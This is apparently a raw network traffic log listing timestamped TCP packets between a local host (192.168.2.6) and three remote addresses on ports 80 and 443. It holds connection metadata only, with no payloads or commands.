Dec 7, 2024 00:15:46.963609934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.963671923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.963706017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.963747025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.964611053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.964713097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.964720011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.964766979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.965593100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.965645075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.965688944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.965732098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.966598034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.966646910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.966690063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.966731071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.967590094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.967664957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.967696905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.967729092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.968597889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.968657017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.968694925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.968736887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.969588041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.969646931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.969721079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.969764948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.970599890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.970666885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.970715046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.970846891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.971577883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.971631050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.971667051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.971705914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.972740889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.972800970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.972832918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.972882032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.973584890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.973630905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.973714113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.973764896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.974581957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.974668980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.975244045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.987489939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.987514973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.987525940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.987538099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.987550020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.987560987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.987591982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.987596989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.987620115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.987628937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.987639904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.987672091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.987699986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.999821901 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.999842882 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.999938011 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:46.999958038 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.999991894 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.023447990 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.023463964 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.023564100 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.023574114 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.023611069 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.047425985 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:47.048027992 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:47.048060894 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:47.048607111 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:47.048612118 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:47.051487923 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.051506042 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.051582098 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.051615953 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.051665068 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.068893909 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.068911076 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.068980932 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.068993092 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.069036961 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.119807959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.119857073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.119887114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.119930029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.120176077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.120224953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.120263100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.120304108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.120915890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.120974064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.121007919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.121054888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.121931076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.122011900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.122045994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.122064114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.122941017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.123012066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.123030901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.123049974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.123918056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.123971939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.124006033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.124154091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.124911070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.124958992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.124998093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.125046015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.125883102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.125933886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.125991106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.126034975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.126893044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.126944065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.126986027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.127031088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.127954960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.128014088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.128024101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.128134966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.128860950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.128909111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.128952980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.129020929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.129903078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.129952908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.129991055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.130048990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.130877018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.130923986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.130950928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.131048918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.131869078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.131946087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.131979942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.132026911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.132857084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.132910967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.132981062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.133064985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.133872986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.133923054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.134031057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.134110928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.134834051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.134886980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.134943008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.134990931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.135828972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.135885954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.135946035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.135993004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.136821985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.136923075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.136976004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.137818098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.137864113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.137928963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.138019085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.138809919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.138856888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.138912916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.138967037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.139796972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.139893055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.139928102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.139971018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.140830994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.140876055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.141011000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.141052961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.141793966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.141843081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.141866922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.141911030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.142766953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.142870903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.142882109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.142925978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.143779039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.143830061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.143867970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.143912077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.144762993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.144833088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.144866943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.144951105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.145762920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.145821095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.145863056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.145903111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.146783113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.146833897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.146892071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.146941900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.147788048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.147836924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.147871971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.147933006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.148751974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.148806095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.148853064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.148899078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.149781942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.149853945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.149954081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.150005102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.150763035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.150826931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.150896072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.150940895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.151746035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.151853085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.151855946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.151920080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.152740002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.152798891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.152832985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.152879000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.153743029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.153814077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.153862000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.153978109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.154746056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.154793978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.154880047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.155009985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.155725956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.155823946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.155844927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.155857086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.156702042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.156752110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.156814098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.156946898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.157711029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.157761097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.157805920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.158065081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.158698082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.158787012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.158818960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.158858061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.159698009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.159766912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.159799099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.159847021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.160693884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.160742998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.160785913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.160830021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.161676884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.161746979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.161788940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.161839008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.162662029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.162723064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.162765026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.162801981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.163683891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.163727999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.163780928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.164021015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.164668083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.164712906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.164747953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.164787054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.165657997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.165704012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.165757895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.165805101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.166644096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.166707993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.166771889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.166830063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.167650938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.167742014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.167789936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.193598986 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.193645954 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.193694115 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.193706989 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.193754911 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.193779945 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.200289011 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.200313091 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.200361967 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.200367928 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.200406075 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.200423956 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.214339972 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.214356899 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.214464903 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.214471102 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.214519024 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.228203058 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.228218079 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.228287935 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.228292942 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.228337049 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.240401983 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.240418911 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.240499973 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.240504980 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.240546942 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.255362034 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.255381107 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.255449057 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.255456924 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.255501032 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.267517090 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.267534971 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.267602921 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.267612934 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.267657995 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.311685085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.311794043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.330367088 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.330434084 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.331358910 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.331367016 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.333328962 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.333337069 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.371696949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.371768951 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.371786118 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.371855974 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.371865988 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.371908903 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.382469893 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.382484913 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.382555008 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.382560968 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.382596016 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.393336058 CET	443	49828	150.171.27.10	192.168.2.6
